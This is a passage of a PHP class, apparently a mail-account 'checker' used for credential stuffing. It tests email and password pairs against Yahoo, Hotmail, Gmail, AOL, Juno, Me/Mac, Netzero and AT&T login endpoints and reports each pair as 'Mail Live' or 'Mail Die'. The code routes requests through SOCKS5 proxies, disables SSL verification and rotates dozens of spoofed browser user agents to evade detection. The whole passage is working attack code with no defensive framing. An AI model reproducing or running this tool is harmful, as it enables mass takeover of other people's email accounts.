"returnURL=aHR0cDovL3d3dy5tZS5jb20vbWFpbC8%3D&service=mail&ssoNamespace=primary-me&anchor=account&cancelURL=http%3A%2F%2Fwww.me.com%2Fmail&formID=loginForm&username=".$mail."&password=".$pass; $cookie = "cookies/mac"; @unlink($cookie); $curl = curl_init($url); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail); // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec ($curl); curl_close ($curl); unset($curl); if(stristr($content,"Incorrect member name or password.")){ return 0; }else{ return 1; } } function getmail($xSplit,$xMail,$xPass, $_sock){ $R_split=$xSplit; $mail_text=$xMail; $pass_text=$xPass; $pieces['xMail'] = $mail_text; $pieces['xPass'] = $pass_text; if(stristr($pieces['xMail'],"yahoo.")||stristr($pieces['xMail'],"ymail.")||stristr($pieces['xMail'],"rocketmail.")){ $servername = "Yahoo"; $k = $this->yahoo($pieces['xMail'],$pieces['xPass'], $_sock); if ($k==0){ $status="Mail Die - ".$servername.""; }else{ $status="Mail Live - ".$servername.""; } } elseif(stristr($pieces['xMail'],"hotmail.")||stristr($pieces['xMail'],"live.")){ $servername = "Hotmail"; if ($this->hotmail($pieces['xMail'],$pieces['xPass'], $_sock)){ $status="Mail Live - ".$servername.""; } else{ $status="Mail Die - ".$servername.""; } }elseif(stristr($pieces['xMail'],"gmail.")||stristr($pieces['xMail'],"googlemail.")){ $servername = "Gmail"; $k = $this->gmail($pieces['xMail'],$pieces['xPass'], $_sock); if ($k==0){ $status="Mail Die - ".$servername.""; } else{ $status="Mail Live - ".$servername.""; } }elseif(stristr($pieces['xMail'],"aol.")||stristr($pieces['xMail'],"netscape.")){ $servername = "AOL"; $aolname = str_replace("@aol.com","",$pieces['xMail'], $_sock); $kaol = $this->aol($aolname,$pieces['xPass'], $_sock); if ($kaol==0){ $status="Mail Die - ".$servername.""; } else{ $status="Mail Live - ".$servername.""; } }elseif(stristr($pieces['xMail'],"juno")){ $servername = "Juno"; $kjuno = $this->juno($pieces['xMail'],$pieces['xPass'], $_sock); if ($kjuno==0){ $status="Mail Die - ".$servername.""; } else{ $status="Mail Live - ".$servername.""; } }elseif(stristr($pieces['xMail'],"mac.")||stristr($pieces['xMail'],"me.")){ $servername = "Me-Mac"; $kmac = $this->mac($pieces['xMail'],$pieces['xPass'], $_sock); if ($kmac==0){ $status="Mail Die - ".$servername.""; } else{ $status="Mail Live - ".$servername.""; } }elseif(stristr($pieces['xMail'],"netzero.")){ $servername = "Netzero"; $knet = $this->netzero($pieces['xMail'],$pieces['xPass'], $_sock); if ($knet==0){ $status="Mail Die - ".$servername.""; } else{ $status="Mail Live - ".$servername.""; } }elseif(stristr($pieces['xMail'],"ameritech.")||stristr($pieces['xMail'],"att.")||stristr($pieces['xMail'],"bellsouth.")||stristr($pieces['xMail'],"flash.")||stristr($pieces['xMail'],"nvbell.")||stristr($pieces['xMail'],"pacbell.")||stristr($pieces['xMail'],"prodigy.")||stristr($pieces['xMail'],"sbcglobal.")||stristr($pieces['xMail'],"snet.")||stristr($pieces['xMail'],"swbell.")||stristr($pieces['xMail'],"wans.")){ $servername = "Att"; $katt = $this->att($pieces['xMail'],$pieces['xPass'], $_sock); if ($katt==0){ $status="Mail Die - ".$servername.""; } else{ $status="Mail Live - ".$servername.""; } } else{ $status="Unknow"; } return $status; } function get_agent($z){ switch ($z){ case 0: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; break; case 1: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1"; break; case 2: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; break; case 3: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"; break; case 4: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)"; break; case 5: $agent= "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; break; case 6: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8"; break; case 7: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3"; break; case 8: $agent= "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)"; break; case 9: $agent= "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"; break; case 10: $agent= "Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC)"; break; case 11: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"; break; case 12: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)"; break; case 13: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)"; break; case 14: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)"; break; case 15: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"; break; case 16: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"; break; case 17: $agent= "Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 413 12f13f8)"; break; case 18: $agent= "Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 239 52c6958)"; break; case 19: $agent= "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 189 35c14e0)"; break; case 20: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"; break; case 21: $agent= "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable"; break; case 22: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)"; break; case 23: $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre"; break; case 24: $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA"; break; case 25: $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6"; break; case 26: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1"; break; case 27: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2)"; break; case 28: $agent= "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20"; break; case 29: $agent= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1"; break; case 30: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+"; break; case 31: $agent= "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5"; break; case 32: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"; break; case 33: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"; break; case 34: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"; break; case 35: $agent= "Mozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686)"; break; case 36: $agent= "Mozilla/4.75 [fr] (WinNT; U)"; break; case 37: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en]"; break; case 38: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]"; break; case 39: $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8"; break; case 40: $agent= "Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0"; break; case 41: $agent= "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)"; break; case 42: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1"; break; case 43: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 "; break; case 44: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 "; break; } return $agent; } } ?>